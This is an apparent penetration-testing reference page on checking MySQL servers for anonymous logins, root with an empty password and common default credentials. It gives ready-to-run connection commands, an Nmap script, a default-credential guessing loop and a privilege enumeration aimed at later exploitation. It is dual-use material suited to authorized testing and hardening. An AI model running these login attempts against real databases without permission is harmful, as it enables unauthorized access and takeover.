# MySQL Anonymous and Default Credential Check

- **URL:** https://hackindex.io/services/mysql/vulnerability-discovery/mysql-anonymous-and-default-credential-check
- **Path:** MySQL > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mysql/vulnerability-discovery.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

MySQL ships with an anonymous user account and a root account with no password in many default installations. On older distributions and appliances these accounts are never hardened before deployment. Confirming unauthenticated or default access is the first check before attempting any credential attack: if the database is already open, there is no need to brute-force anything. The privilege level of the anonymous or default account determines what is immediately exploitable.

## Test Anonymous Access

Attempt a connection with no username or password:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u '' --password=''
# Welcome to the MariaDB monitor.
# Server version: 8.0.32 MySQL Community Server
```

A successful connection without credentials is an immediate critical finding. Check what the anonymous account can access:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u '' --password='' -e "SELECT USER(); SHOW DATABASES; SHOW GRANTS FOR CURRENT_USER();"
```

## Test Root with No Password

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u root --password=''
```

Root with no password on a network-exposed instance is a critical misconfiguration. It gives full control over every database, user account, and server variable. If FILE privilege is also present this extends to arbitrary file read and write on the host filesystem.

## Confirm with Nmap NSE

The mysql-empty-password script checks both root and anonymous accounts in a single run:

```bash
nmap -p ${PORT:-3306} --script mysql-empty-password $TARGET_IP
# PORT     STATE SERVICE
# 3306/tcp open  mysql
# | mysql-empty-password:
# |_  root account has empty password
```

## Test Common Default Credentials

Beyond root with no password, check vendor and application default credentials that are commonly deployed with MySQL:

```bash
for cred in 'root:root' 'root:mysql' 'root:toor' 'root:password' 'mysql:mysql' 'admin:admin' 'root:changeme'; do user=${cred%%:*}; pass=${cred##*:}; result=$(mysql -h $TARGET_IP -P ${PORT:-3306} -u "$user" -p"$pass" -e "SELECT 1" 2>&1); echo "$cred: $(echo $result | grep -q '1' && echo VALID || echo invalid)"; done
```

## Determine Privilege Level of the Account

Once any valid login is confirmed, check the effective privilege level before proceeding to exploitation:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u root --password='' -e "SHOW GRANTS FOR CURRENT_USER(); SELECT user, host, plugin FROM mysql.user;"
```

Privilege indicators and what they enable:

- `GRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION` confirms full administrative access
- `FILE` enables file read and write outside the database
- `SUPER` or `SYSTEM_VARIABLES_ADMIN` enables server configuration changes
- `CREATE ROUTINE` enables UDF loading for OS command execution

## References

- [Nmap NSE: mysql-empty-password](https://nmap.org/nsedoc/scripts/mysql-empty-password.html) - Checks root and anonymous accounts for empty password access
- [MySQL: Default privileges](https://dev.mysql.com/doc/refman/8.0/en/default-privileges.html) - Default account configuration and post-install hardening reference